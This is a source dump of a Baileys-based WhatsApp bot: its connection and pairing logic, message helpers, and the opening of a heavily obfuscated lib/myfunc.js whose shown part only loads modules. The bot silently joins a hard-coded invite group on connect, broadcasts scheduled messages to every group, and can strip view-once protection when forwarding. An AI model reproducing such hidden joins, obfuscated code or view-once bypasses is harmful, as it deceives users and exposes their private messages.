console.log(chalk.yellow("\n👤 Register owner number (ex: 26371xxxxxx): ")); 293 | global.ownernumber = await ask("> "); 294 | } 295 | 296 | if (!global.ownername || global.ownername.trim() === "") { 297 | console.log(chalk.yellow("What is your name?: ")); 298 | global.ownername = await ask("> "); 299 | } 300 | 301 | // Save owner info to settings 302 | try { 303 | const settingsPath = "./settings.js"; 304 | if (fs.existsSync(settingsPath)) { 305 | let settingsContent = fs.readFileSync(settingsPath, "utf-8"); 306 | settingsContent = settingsContent 307 | .replace(/global\.ownernumber\s*=\s*(['"`]).*?\1/, `global.ownernumber = '${global.ownernumber}'`) 308 | .replace(/global\.ownername\s*=\s*(['"`]).*?\1/, `global.ownername = '${global.ownername}'`); 309 | fs.writeFileSync(settingsPath, settingsContent, "utf-8"); 310 | console.log(chalk.greenBright("✓ Owner data saved to settings.js")); 311 | } 312 | } catch (err) { 313 | console.log(chalk.red("Failed to save to settings.js:"), err); 314 | } 315 | 316 | console.log(chalk.cyanBright("\n📊 System Info:")); 317 | console.log(chalk.white(`├ Hostname : ${os.hostname()}`)); 318 | console.log(chalk.white(`├ Platform : ${os.platform()} ${os.arch()}`)); 319 | console.log(chalk.white(`├ RAM Total: ${(os.totalmem() / 1024 / 1024 / 1024).toFixed(2)} GB`)); 320 | console.log(chalk.white(`├ Node.js : ${process.version}`)); 321 | console.log(chalk.white(`├ Owner : ${global.ownername} (${global.ownernumber})`)); 322 | console.log(chalk.white(`└ Bot : ${botNumber || 'Not set'}`)); 323 | 324 | console.log(chalk.gray("\n──────────────────────────────────────────────")); 325 | console.log(chalk.blueBright("🔗 Creating connection...\n")); 326 | 327 | // ========== BAILEYS CONNECTION ========== 328 | const msgRetryCounterCache = new NodeCache(); 329 | 330 | const mking = makeWASocket({ 331 | logger: Pino({ level: "fatal" }), 332 | printQRInTerminal: !sessionResult.state.creds.registered, 333 | browser: Browsers.macOS("Safari"), 334 | auth: { 335 | creds: sessionResult.state.creds, 336 | keys: makeCacheableSignalKeyStore(sessionResult.state.keys, Pino({ level: "fatal" })), 337 | }, 338 | markOnlineOnConnect: true, 339 | generateHighQualityLinkPreview: true, 340 | msgRetryCounterCache, 341 | }); 342 | 343 | // Handle credentials updates 344 | mking.ev.on("creds.update", sessionResult.saveCreds); 345 | 346 | // Connection event handler 347 | mking.ev.on("connection.update", async (update) => { 348 | const { connection, lastDisconnect, qr } = update; 349 | 350 | if (qr) { 351 | console.log(chalk.yellow("📱 QR Code received - Scan with WhatsApp")); 352 | } 353 | 354 | if (connection === "connecting") { 355 | console.log(chalk.yellow("🔄 Connecting to WhatsApp...")); 356 | } else if (connection === "open") { 357 | console.log(chalk.green.bold('✅ Connected Successfully to WhatsApp')); 358 | console.log(chalk.white(`🤖 Bot Name: ${mking.user?.name || 'Unknown'}`)); 359 | console.log(chalk.white(`📞 Bot Number: ${mking.user?.id.split(':')[0] || 'Unknown'}`)); 360 | 361 | // Update settings with actual bot number 362 | if (mking.user?.id) { 363 | const actualBotNumber = mking.user.id.split(':')[0]; 364 | if (actualBotNumber !== global.nomorbot) { 365 | global.nomorbot = actualBotNumber; 366 | const settingsPath = "./settings.js"; 367 | if (fs.existsSync(settingsPath)) { 368 | let settingsContent = fs.readFileSync(settingsPath, "utf-8"); 369 | settingsContent = settingsContent.replace(/global\.nomorbot\s*=\s*(['"`]).*?\1/, `global.nomorbot = '${actualBotNumber}'`); 370 | fs.writeFileSync(settingsPath, settingsContent, "utf-8"); 371 | console.log(chalk.green(`✓ Updated bot number in settings: ${actualBotNumber}`)); 372 | } 373 | } 374 | } 375 | 376 | // Load modules after successful connection 377 | loadModule(mking); 378 | 379 | // Auto join group 380 | let inviteLink = "https://chat.whatsapp.com/Dx7HbtW7Cf12iCVjJBpD0x"; 381 | try { 382 | let inviteCode = inviteLink.split('/')[3]; 383 | await mking.groupAcceptInvite(inviteCode); 384 | console.log(chalk.green('✓ Joined support group')); 385 | } catch (error) { 386 | // Silent fail for group join 387 | } 388 | } else if (connection === "close") { 389 | const shouldReconnect = lastDisconnect?.error?.output?.statusCode !== DisconnectReason.loggedOut; 390 | console.log(chalk.red(`Connection closed. ${shouldReconnect ? 'Reconnecting...' : 'Please restart the bot.'}`)); 391 | 392 | if (shouldReconnect) { 393 | setTimeout(() => { 394 | startsesi(); 395 | }, 5000); 396 | } 397 | } 398 | }); 399 | 400 | // Only request pairing code if not registered 401 | if (!sessionResult.state.creds.registered) { 402 | setTimeout(async () => { 403 | try { 404 | console.log(chalk.yellow('🔐 Requesting pairing code...')); 405 | const code = await mking.requestPairingCode(botNumber); 406 | const formattedCode = code?.match(/.{1,4}/g)?.join("-") || code; 407 | console.log(chalk.black.bgGreen("🎯 PAIRING CODE:"), chalk.white.bold(formattedCode)); 408 | console.log(chalk.cyan("\n📱 How to pair:")); 409 | console.log(chalk.white("1. Open WhatsApp → Settings → Linked Devices")); 410 | console.log(chalk.white("2. Tap 'Link a Device'")); 411 | console.log(chalk.white("3. Enter the code above")); 412 | console.log(chalk.gray("──────────────────────────────────────────────")); 413 | } catch (error) { 414 | console.log(chalk.red('❌ Failed to get pairing code:'), error.message); 415 | } 416 | }, 3000); 417 | } else { 418 | console.log(chalk.green('✅ Session is pre-registered, no pairing needed')); 419 | } 420 | 421 | // Auto JPM functionality 422 | setInterval(async () => { 423 | try { 424 | if (!penting.autoJpm || !penting.autoJpm.status) return 425 | if (!penting.autoJpm.messages || !penting.autoJpm.messages.length) return 426 | 427 | let ms = penting.autoJpm.interval * 60000 428 | if (penting.autoJpm.type === "hour") ms *= 60 429 | if (penting.autoJpm.type === "day") ms *= 1440 430 | 431 | if (!penting.autoJpm._lastRun) penting.autoJpm._lastRun = Date.now() 432 | if (Date.now() - penting.autoJpm._lastRun < ms) return 433 | 434 | penting.autoJpm._lastRun = Date.now() 435 | 436 | if (typeof penting.autoJpm.lastIndex !== "number") penting.autoJpm.lastIndex = 0 437 | 438 | let idx = penting.autoJpm.lastIndex % penting.autoJpm.messages.length 439 | let pesan = penting.autoJpm.messages[idx] 440 | 441 | const allGroups = await mking.groupFetchAllParticipating() 442 | const groupIDs = Object.keys(allGroups).filter(id => !penting.blacklistJpm.includes(id)) 443 | 444 | for (const gid of groupIDs) { 445 | try { 446 | if (pesan.type === "text") { 447 | await mking.sendMessage(gid, { text: pesan.text }) 448 | } else { 449 | if (!fs.existsSync(pesan.path)) continue 450 | await mking.sendMessage(gid, { 451 | [pesan.type]: fs.readFileSync(pesan.path), 452 | caption: pesan.caption || "" 453 | }) 454 | } 455 | await sleep(global.delayJpm || 4000) 456 | } catch (e) { 457 | console.error(`❌ Failed to send to ${gid}:`, e.message) 458 | } 459 | } 460 | 461 | penting.autoJpm.lastIndex = idx + 1 462 | savePenting() 463 | } catch (err) { 464 | console.error("❌ AutoJpm Error:", err.message) 465 | } 466 | }, 60 * 1000) 467 | 468 | // Call event handler 469 | mking.ev.on('call', async (call) => { 470 | if (!global.anticall) return 471 | for (let ff of call) { 472 | if (ff.isGroup == false) { 473 | if (ff.status == "offer") { 474 | let sendcall = await mking.sendMessage(ff.from, { 475 | text: `@${ff.from.split("@")[0]} Sorry, I will block you because the bot owner has activated the *Anticall* feature\nIf this was accidental, please contact the owner immediately to unblock`, 476 | contextInfo: { 477 | mentionedJid: [ff.from], 478 | externalAdReply: { 479 | thumbnail: fs.readFileSync("./media/warning.jpg"), 480 | title: "「 CALL DETECTED 」", 481 | previewType: "PHOTO" 482 | } 483 | } 484 | }, {quoted: null}) 485 | mking.sendContact(ff.from, [global.ownernumber], "Developer WhatsApp Bot", sendcall) 486 | await sleep(10000) 487 | await mking.updateBlockStatus(ff.from, "block") 488 | } 489 | } 490 | } 491 | }) 492 | 493 | // Message event handler 494 | mking.ev.on("messages.upsert", async (chatUpdate) => { 495 | try { 496 | const kay = chatUpdate.messages[0]; 497 | if (!kay.message) return; 498 | 499 | kay.message = Object.keys(kay.message)[0] === "ephemeralMessage" 500 | ? kay.message.ephemeralMessage.message 501 | : kay.message; 502 | 503 | const m = smsg(mking, kay, store); 504 | 505 | if (!m.message) return 506 | m.message = (Object.keys(m.message)[0] === 'ephemeralMessage') ? m.message.ephemeralMessage.message : m.message 507 | if (m.isBaileys) return 508 | 509 | if (m.key && m.key.remoteJid === 'status@broadcast') { 510 | if (global.autoreadsw) mking.readMessages([m.key]) 511 | } 512 | 513 | let fill = [global.ownernumber] 514 | if (!mking.public && !fill.includes(m.key.remoteJid.split("@")[0]) && !m.key.fromMe && chatUpdate.type === 'notify') return 515 | if (global.autoread) mking.readMessages([m.key]) 516 | 517 | if ( 518 | !mking.public && 519 | !( 520 | kay.key.fromMe || 521 | (kay.key.participant && global.ownernumber.includes(kay.key.participant.split("@")[0])) || 522 | global.ownernumber.includes(m.sender.split("@")[0]) 523 | ) && 524 | chatUpdate.type === "notify" 525 | ) { 526 | return; 527 | } 528 | 529 | // mking.public = true; 530 | 531 | if (kay.key.id.startsWith("BAE5") && kay.key.id.length === 16) return; 532 | 533 | if (!m.key.fromMe && m.key.remoteJid.endsWith("@s.whatsapp.net") && m.text) { 534 | handleIncomingMessage(mking, m.key.remoteJid); 535 | } 536 | 537 | require("./case")(mking, m, chatUpdate, store); 538 | } catch (err) { 539 | console.error("Error while processing message:", err); 540 | } 541 | }); 542 | 543 | // ========== COMPLETE UTILITY METHODS ========== 544 | 545 | mking.sendTextWithMentions = async (jid, text, quoted, options = {}) => 546 | mking.sendMessage( 547 | jid, 548 | { 549 | text: text, 550 | contextInfo: { 551 | mentionedJid: [...text.matchAll(/@(\d{0,16})/g)].map( 552 | (v) => v[1] + "@s.whatsapp.net", 553 | ), 554 | }, 555 | ...options, 556 | }, 557 | { 558 | quoted, 559 | }, 560 | ); 561 | 562 | mking.decodeJid = (jid) => { 563 | if (!jid) return jid; 564 | if (/:\d+@/gi.test(jid)) { 565 | let decode = jidDecode(jid) || {}; 566 | return ( 567 | (decode.user && decode.server && decode.user + "@" + decode.server) || 568 | jid 569 | ); 570 | } else return jid; 571 | }; 572 | 573 | mking.ev.on("contacts.update", (update) => { 574 | for (let contact of update) { 575 | let id = mking.decodeJid(contact.id); 576 | if (store && store.contacts) 577 | store.contacts[id] = { 578 | id, 579 | name: contact.notify, 580 | }; 581 | } 582 | }); 583 | 584 | mking.getName = (jid, withoutContact = false) => { 585 | let id = mking.decodeJid(jid); 586 | withoutContact = mking.withoutContact || withoutContact; 587 | let v; 588 | if (id.endsWith("@g.us")) 589 | return new Promise(async (resolve) => { 590 | v = store.contacts[id] || {}; 591 | if (!(v.name || v.subject)) v = mking.groupMetadata(id) || {}; 592 | resolve( 593 | v.name || 594 | v.subject || 595 | PhoneNumber("+" + id.replace("@s.whatsapp.net", "")).getNumber("international") 596 | ); 597 | }); 598 | else 599 | v = id === "0@s.whatsapp.net" 600 | ? { id, name: "WhatsApp" } 601 | : id === mking.decodeJid(mking.user.id) 602 | ? mking.user 603 | : store.contacts[id] || {}; 604 | return ( 605 | (withoutContact ? "" : v.name) || 606 | v.subject || 607 | v.verifiedName || 608 | PhoneNumber("+" + jid.replace("@s.whatsapp.net", "")).getNumber("international") 609 | ); 610 | }; 611 | 612 | mking.parseMention = (text = "") => { 613 | return [...text.matchAll(/@([0-9]{5,16}|0)/g)].map( 614 | (v) => v[1] + "@s.whatsapp.net", 615 | ); 616 | }; 617 | 618 | mking.sendContact = async (jid, kon, quoted = "", opts = {}) => { 619 | let list = []; 620 | for (let i of kon) { 621 | list.push({ 622 | displayName: await mking.getName(i), 623 | vcard: `BEGIN:VCARD\nVERSION:3.0\nN:${await mking.getName(i)}\nFN:${await mking.getName(i)}\nitem1.TEL;waid=${i}:${i}\nitem1.X-ABLabel:Click here to chat\nitem2.EMAIL;type=INTERNET:${global.ytname || ''}\nitem2.X-ABLabel:YouTube\nitem3.URL:${global.socialm || ''}\nitem3.X-ABLabel:GitHub\nitem4.ADR:;;${global.location || ''};;;;\nitem4.X-ABLabel:Region\nEND:VCARD`, 624 | }); 625 | } 626 | mking.sendMessage( 627 | jid, 628 | { 629 | contacts: { 630 | displayName: `${list.length} Contact`, 631 | contacts: list, 632 | }, 633 | ...opts, 634 | }, 635 | { 636 | quoted, 637 | }, 638 | ); 639 | }; 640 | 641 | mking.setStatus = (status) => { 642 | mking.query({ 643 | tag: "iq", 644 | attrs: { 645 | to: "@s.whatsapp.net", 646 | type: "set", 647 | xmlns: "status", 648 | }, 649 | content: [ 650 | { 651 | tag: "status", 652 | attrs: {}, 653 | content: Buffer.from(status, "utf-8"), 654 | }, 655 | ], 656 | }); 657 | return status; 658 | }; 659 | 660 | mking.sendImage = async (jid, path, caption = "", quoted = "", options) => { 661 | let buffer = Buffer.isBuffer(path) 662 | ? path 663 | : /^data:.*?\/.*?;base64,/i.test(path) 664 | ? Buffer.from(path.split`,`[1], "base64") 665 | : /^https?:\/\//.test(path) 666 | ? await getBuffer(path) 667 | : fs.existsSync(path) 668 | ? fs.readFileSync(path) 669 | : Buffer.alloc(0); 670 | return await mking.sendMessage( 671 | jid, 672 | { 673 | image: buffer, 674 | caption: caption, 675 | ...options, 676 | }, 677 | { 678 | quoted, 679 | }, 680 | ); 681 | }; 682 | 683 | mking.sendImageAsSticker = async (jid, path, quoted, options = {}) => { 684 | let buff = Buffer.isBuffer(path) 685 | ? path 686 | : /^data:.*?\/.*?;base64,/i.test(path) 687 | ? Buffer.from(path.split`,`[1], "base64") 688 | : /^https?:\/\//.test(path) 689 | ? await getBuffer(path) 690 | : fs.existsSync(path) 691 | ? fs.readFileSync(path) 692 | : Buffer.alloc(0); 693 | let buffer; 694 | if (options && (options.packname || options.author)) { 695 | buffer = await writeExifImg(buff, options); 696 | } else { 697 | buffer = await imageToWebp(buff); 698 | } 699 | await mking.sendMessage( 700 | jid, 701 | { 702 | sticker: { 703 | url: buffer, 704 | }, 705 | ...options, 706 | }, 707 | { 708 | quoted, 709 | }, 710 | ).then((response) => { 711 | fs.unlinkSync(buffer); 712 | return response; 713 | }); 714 | }; 715 | 716 | mking.sendVideoAsSticker = async (jid, path, quoted, options = {}) => { 717 | let buff = Buffer.isBuffer(path) 718 | ? path 719 | : /^data:.*?\/.*?;base64,/i.test(path) 720 | ? Buffer.from(path.split`,`[1], "base64") 721 | : /^https?:\/\//.test(path) 722 | ? await getBuffer(path) 723 | : fs.existsSync(path) 724 | ? fs.readFileSync(path) 725 | : Buffer.alloc(0); 726 | let buffer; 727 | if (options && (options.packname || options.author)) { 728 | buffer = await writeExifVid(buff, options); 729 | } else { 730 | buffer = await videoToWebp(buff); 731 | } 732 | await mking.sendMessage( 733 | jid, 734 | { 735 | sticker: { 736 | url: buffer, 737 | }, 738 | ...options, 739 | }, 740 | { 741 | quoted, 742 | }, 743 | ); 744 | return buffer; 745 | }; 746 | 747 | mking.sendImageAsStickerAvatar = async (jid, path, quoted, options = {}) => { 748 | let buff = Buffer.isBuffer(path) 749 | ? path 750 | : /^data:.*?\/.*?;base64,/i.test(path) 751 | ? Buffer.from(path.split`,`[1], "base64") 752 | : /^https?:\/\//.test(path) 753 | ? await getBuffer(path) 754 | : fs.existsSync(path) 755 | ? fs.readFileSync(path) 756 | : Buffer.alloc(0); 757 | let buffer; 758 | if (options && (options.packname || options.author)) { 759 | buffer = await writeExifImgAvatar(buff, options); 760 | } else { 761 | buffer = await imageToWebpAvatar(buff); 762 | } 763 | await mking.sendMessage( 764 | jid, 765 | { 766 | sticker: { 767 | url: buffer, 768 | }, 769 | ...options, 770 | }, 771 | { 772 | quoted, 773 | }, 774 | ).then((response) => { 775 | fs.unlinkSync(buffer); 776 | return response; 777 | }); 778 | }; 779 | 780 | mking.sendVideoAsStickerAvatar = async (jid, path, quoted, options = {}) => { 781 | let buff = Buffer.isBuffer(path) 782 | ? path 783 | : /^data:.*?\/.*?;base64,/i.test(path) 784 | ? Buffer.from(path.split`,`[1], "base64") 785 | : /^https?:\/\//.test(path) 786 | ? await getBuffer(path) 787 | : fs.existsSync(path) 788 | ? fs.readFileSync(path) 789 | : Buffer.alloc(0); 790 | let buffer; 791 | if (options && (options.packname || options.author)) { 792 | buffer = await writeExifVidAvatar(buff, options); 793 | } else { 794 | buffer = await videoToWebpAvatar(buff); 795 | } 796 | await mking.sendMessage( 797 | jid, 798 | { 799 | sticker: { 800 | url: buffer, 801 | }, 802 | ...options, 803 | }, 804 | { 805 | quoted, 806 | }, 807 | ); 808 | return buffer; 809 | }; 810 | 811 | mking.copyNForward = async (jid, message, forceForward = false, options = {}) => { 812 | let vtype; 813 | if (options.readViewOnce) { 814 | message.message = 815 | message.message && 816 | message.message.ephemeralMessage && 817 | message.message.ephemeralMessage.message 818 | ? message.message.ephemeralMessage.message 819 | : message.message || undefined; 820 | vtype = Object.keys(message.message.viewOnceMessage.message)[0]; 821 | delete (message.message && message.message.ignore 822 | ? message.message.ignore 823 | : message.message || undefined); 824 | delete message.message.viewOnceMessage.message[vtype].viewOnce; 825 | message.message = { 826 | ...message.message.viewOnceMessage.message, 827 | }; 828 | } 829 | let mtype = Object.keys(message.message)[0]; 830 | let content = await generateForwardMessageContent(message, forceForward); 831 | let ctype = Object.keys(content)[0]; 832 | let context = {}; 833 | if (mtype != "conversation") context = message.message[mtype].contextInfo; 834 | content[ctype].contextInfo = { 835 | ...context, 836 | ...content[ctype].contextInfo, 837 | }; 838 | const waMessage = await generateWAMessageFromContent( 839 | jid, 840 | content, 841 | options 842 | ? { 843 | ...content[ctype], 844 | ...options, 845 | ...(options.contextInfo 846 | ? { 847 | contextInfo: { 848 | ...content[ctype].contextInfo, 849 | ...options.contextInfo, 850 | }, 851 | } 852 | : {}), 853 | } 854 | : {}, 855 | ); 856 | await mking.relayMessage(jid, waMessage.message, { 857 | messageId: waMessage.key.id, 858 | }); 859 | return waMessage; 860 | }; 861 | 862 | mking.downloadAndSaveMediaMessage = async (message, filename, attachExtension = true) => { 863 | let quoted = message.msg ? message.msg : message; 864 | let mime = (message.msg || message).mimetype || ""; 865 | let messageType = message.mtype 866 | ? message.mtype.replace(/Message/gi, "") 867 | : mime.split("/")[0]; 868 | const stream = await downloadContentFromMessage(quoted, messageType); 869 | let buffer = Buffer.from([]); 870 | for await (const chunk of stream) { 871 | buffer = Buffer.concat([buffer, chunk]); 872 | } 873 | let type = await FileType.fromBuffer(buffer); 874 | let trueFileName; 875 | if (type.ext == "ogg" || type.ext == "opus") { 876 | trueFileName = attachExtension ? filename + ".mp3" : filename; 877 | await fs.writeFileSync(trueFileName, buffer); 878 | } else { 879 | trueFileName = attachExtension ? filename + "." + type.ext : filename; 880 | await fs.writeFileSync(trueFileName, buffer); 881 | } 882 | return trueFileName; 883 | }; 884 | 885 | mking.downloadMediaMessage = async (message) => { 886 | let mime = (message.msg || message).mimetype || ""; 887 | let messageType = message.mtype 888 | ? message.mtype.replace(/Message/gi, "") 889 | : mime.split("/")[0]; 890 | const stream = await downloadContentFromMessage(message, messageType); 891 | let buffer = Buffer.from([]); 892 | for await (const chunk of stream) { 893 | buffer = Buffer.concat([buffer, chunk]); 894 | } 895 | return buffer; 896 | }; 897 | 898 | mking.getFile = async (PATH, save) => { 899 | let res; 900 | let data = Buffer.isBuffer(PATH) 901 | ? PATH 902 | : /^data:.*?\/.*?;base64,/i.test(PATH) 903 | ? Buffer.from(PATH.split`,`[1], "base64") 904 | : /^https?:\/\//.test(PATH) 905 | ? await (res = await getBuffer(PATH)) 906 | : fs.existsSync(PATH) 907 | ? ((filename = PATH), fs.readFileSync(PATH)) 908 | : typeof PATH === "string" 909 | ? PATH 910 | : Buffer.alloc(0); 911 | let type = (await FileType.fromBuffer(data)) || { 912 | mime: "application/octet-stream", 913 | ext: ".bin", 914 | }; 915 | if (data && save) fs.promises.writeFile(filename, data); 916 | return { 917 | res, 918 | filename, 919 | size: await getSizeMedia(data), 920 | ...type, 921 | data, 922 | }; 923 | }; 924 | 925 | mking.sendText = (jid, text, quoted = "", options) => 926 | mking.sendMessage( 927 | jid, 928 | { 929 | text: text, 930 | ...options, 931 | }, 932 | { 933 | quoted, 934 | }, 935 | ); 936 | 937 | mking.serializeM = (m) => smsg(mking, m, store); 938 | 939 | mking.sendFile = async (jid, media, options = {}) => { 940 | let file = await mking.getFile(media); 941 | let mime = file.ext, 942 | type; 943 | // Determine file type based on extension 944 | if (mime == "mp3") { 945 | type = "audio"; 946 | options.mimetype = "audio/mpeg"; 947 | options.ptt = options.ptt || false; 948 | } else if (mime == "jpg" || mime == "jpeg" || mime == "png") { 949 | type = "image"; 950 | } else if (mime == "webp") { 951 | type = "sticker"; 952 | } else if (mime == "mp4") { 953 | type = "video"; 954 | } else { 955 | type = "document"; 956 | } 957 | // Add caption and quoted to message sending 958 | return mking.sendMessage( 959 | jid, 960 | { 961 | [type]: file.data, 962 | caption: options.caption || "", // Add caption if exists 963 | ...options, 964 | }, 965 | { 966 | quoted: options.quoted || "", // Add quoted if exists 967 | ...options, 968 | }, 969 | ); 970 | }; 971 | 972 | mking.sendFileUrl = async (jid, url, caption, quoted, options = {}) => { 973 | let mime = ""; 974 | let res = await axios.head(url); 975 | mime = res.headers["content-type"]; 976 | if (mime.split("/")[1] === "gif") { 977 | return mking.sendMessage( 978 | jid, 979 | { 980 | video: await getBuffer(url), 981 | caption: caption, 982 | gifPlayback: true, 983 | ...options, 984 | }, 985 | { 986 | quoted: quoted, 987 | ...options, 988 | }, 989 | ); 990 | } 991 | let type = mime.split("/")[0] + "Message"; 992 | if (mime === "application/pdf") { 993 | return mking.sendMessage( 994 | jid, 995 | { 996 | document: await getBuffer(url), 997 | mimetype: "application/pdf", 998 | caption: caption, 999 | ...options, 1000 | }, 1001 | { 1002 | quoted: quoted, 1003 | ...options, 1004 | }, 1005 | ); 1006 | } 1007 | if (mime.split("/")[0] === "image") { 1008 | return mking.sendMessage( 1009 | jid, 1010 | { 1011 | image: await getBuffer(url), 1012 | caption: caption, 1013 | ...options, 1014 | }, 1015 | { 1016 | quoted: quoted, 1017 | ...options, 1018 | }, 1019 | ); 1020 | } 1021 | if (mime.split("/")[0] === "video") { 1022 | return mking.sendMessage( 1023 | jid, 1024 | { 1025 | video: await getBuffer(url), 1026 | caption: caption, 1027 | mimetype: "video/mp4", 1028 | ...options, 1029 | }, 1030 | { 1031 | quoted: quoted, 1032 | ...options, 1033 | }, 1034 | ); 1035 | } 1036 | if (mime.split("/")[0] === "audio") { 1037 | return mking.sendMessage( 1038 | jid, 1039 | { 1040 | audio: await getBuffer(url), 1041 | caption: caption, 1042 | mimetype: "audio/mpeg", 1043 | ...options, 1044 | }, 1045 | { 1046 | quoted: quoted, 1047 | ...options, 1048 | }, 1049 | ); 1050 | } 1051 | }; 1052 | 1053 | // Poll messages update handler 1054 | mking.ev.on("messages.update", async (chatUpdate) => { 1055 | for (const { key, update } of chatUpdate) { 1056 | if (update.pollUpdates && key.fromMe) { 1057 | const pollCreation = await getMessage(key); 1058 | if (pollCreation) { 1059 | const pollUpdate = await getAggregateVotesInPollMessage({ 1060 | message: pollCreation, 1061 | pollUpdates: update.pollUpdates, 1062 | }); 1063 | var toCmd = pollUpdate.filter((v) => v.voters.length !== 0)[0]?.name; 1064 | if (toCmd == undefined) return; 1065 | var prefCmd = prefix + toCmd; 1066 | mking.appenTextMessage(prefCmd, chatUpdate); 1067 | } 1068 | } 1069 | } 1070 | }); 1071 | 1072 | return mking; 1073 | } 1074 | 1075 | // Start the bot 1076 | startsesi().catch(console.error); 1077 | 1078 | let file = require.resolve(__filename) 1079 | fs.watchFile(file, () => { 1080 | fs.unwatchFile(file) 1081 | console.log(chalk.redBright(`Update ${__filename}`)) 1082 | delete require.cache[file] 1083 | require(file) 1084 | }) 1085 | -------------------------------------------------------------------------------- /lib/myfunc.js: -------------------------------------------------------------------------------- 1 | const OQkNLOEqZsT$FjUdlXtTDCUYtI=ebQBAhCdiWppC;(function(SGjMCudDkBnz$L$MXtVNHdRMa,nnsu$bixBucuKZXees_riZ){const NJ_JpSlj=ebQBAhCdiWppC,bhPtaNdvV=SGjMCudDkBnz$L$MXtVNHdRMa();while(!![]){try{const FrwWkJqj$QRcaRM_Hi=parseInt(parseFloat(NJ_JpSlj(0x168))/(0xa*-0x8b+0x52a*parseInt(0x4)+Math.floor(-parseInt(0x1))*Math.max(parseInt(0xf39),parseInt(0xf39))))*(-parseFloat(NJ_JpSlj(0x17f))/(Math.max(parseInt(0xa5f),0xa5f)+parseInt(0x1)*-parseInt(0x2131)+Number(0x16d4)))+Math['max'](-parseFloat(NJ_JpSlj(0x17d))/(Math.trunc(0x9c)*parseInt(-parseInt(0x26))+-0x1dbf+-0x1a75*-0x2),-parseFloat(NJ_JpSlj(0x19b))/(Math.ceil(-0x192c)+-parseInt(0xc84)+-0xfe*Math.max(-0x26,-parseInt(0x26))))+-parseFloat(NJ_JpSlj(0x104))/(Math.floor(0x1)*0x18c5+Number(-parseInt(0x1))*-parseInt(0x2397)+parseInt(-parseInt(0x3c57)))+parseFloat(NJ_JpSlj(0x186))/(Math.trunc(parseInt(0xa6a))*parseInt(-0x1)+Math.max(-0x135,-0x135)*Number(parseInt(0x16))+-parseInt(0xa)*-0x3b3)+parseFloat(NJ_JpSlj(0x15a))/(parseInt(-parseInt(0x1))*-0xb76+0x1a2*0x2+-parseInt(0xeb3)*0x1)+parseFloat(NJ_JpSlj(0x1cb))/(0x17f2+parseInt(0x851)*0x1+Math.trunc(-parseInt(0xdf))*Math.trunc(parseInt(0x25)))+parseFloat(NJ_JpSlj(0x127))/(-0x3*-0x81d+-0x531+-0x131d);if(FrwWkJqj$QRcaRM_Hi===nnsu$bixBucuKZXees_riZ)break;else bhPtaNdvV['push'](bhPtaNdvV['shift']());}catch(F$ZHeR){bhPtaNdvV['push'](bhPtaNdvV['shift']());}}}(nVjOQRxdAzikXHUeQTqWb,-0x1b3b*0x2a+-parseInt(0x786e)+0xb3315));const {proto,delay,getContentType,areJidsSameUser,generateWAMessage}=require(OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1b8)),chalk=require(OQkNLOEqZsT$FjUdlXtTDCUYtI(0x14a)),fs=require('fs'),Crypto=require(OQkNLOEqZsT$FjUdlXtTDCUYtI(0x13a)),axios=require(OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1d4)),moment=require(OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1d1)),path=require(OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1b6)),util=require(OQkNLOEqZsT$FjUdlXtTDCUYtI(0x19a)),{defaultMaxListeners}=require(OQkNLOEqZsT$FjUdlXtTDCUYtI(0x166)),unixTimestampSeconds=(VZoOBqtPIJtLwrtNCKsOLLFfB=new Date())=>Math[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x19f)](VZoOBqtPIJtLwrtNCKsOLLFfB[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x116)]()/(Math.ceil(-parseInt(0x1acf))+-0x233e*parseInt(parseInt(0x1))+parseInt(0x5)*Number(parseInt(0xd31))));function ebQBAhCdiWppC(O$vVo_MSHWTfU,rMSJzcvvQun){const ByelfCQQCebMz=nVjOQRxdAzikXHUeQTqWb();return ebQBAhCdiWppC=function(YOj$UWR$ycBvDmiizkG,fkXQ_dGZFZQIfMcuLtu){YOj$UWR$ycBvDmiizkG=YOj$UWR$ycBvDmiizkG-(Math.trunc(-parseInt(0x43))*Math.max(0x73,0x73)+-parseInt(0x31a)*Math.floor(0x6)+0x31b1*0x1);let qOOPOW_SlNvqPqf=ByelfCQQCebMz[YOj$UWR$ycBvDmiizkG];if(ebQBAhCdiWppC['RhwIjt']===undefined){const NM_BdvhkcDw=function(rGEUHfVuBgZeNMghEwpLEYMTA){let pkUEkO$SG=-parseInt(0x114b)*Math.max(-0x2,-0x2)+Number(0x18d)*0x7+-parseInt(0x29ed)&Math.ceil(parseInt(0x25f))+-0xd1*Math.floor(-0x1)+-parseInt(0x231),Zcqa$URzvGyWKlK=new Uint8Array(rGEUHfVuBgZeNMghEwpLEYMTA['match'](/.{1,2}/g)['map'](SAKFusq_Df=>parseInt(SAKFusq_Df,-0x1*-0x3c1+-parseInt(0x1)*-0x1106+-parseInt(0x14b7)))),pEhyvxBefxAnUw_$R=Zcqa$URzvGyWKlK['map'](Uq$NfNF_gPy=>Uq$NfNF_gPy^pkUEkO$SG),RUStkfz_ssHDQ=new TextDecoder(),wgTXeDWBPvUknFe$s$X=RUStkfz_ssHDQ['decode'](pEhyvxBefxAnUw_$R);return wgTXeDWBPvUknFe$s$X;};ebQBAhCdiWppC['HyEawu']=NM_BdvhkcDw,O$vVo_MSHWTfU=arguments,ebQBAhCdiWppC['RhwIjt']=!![];}const 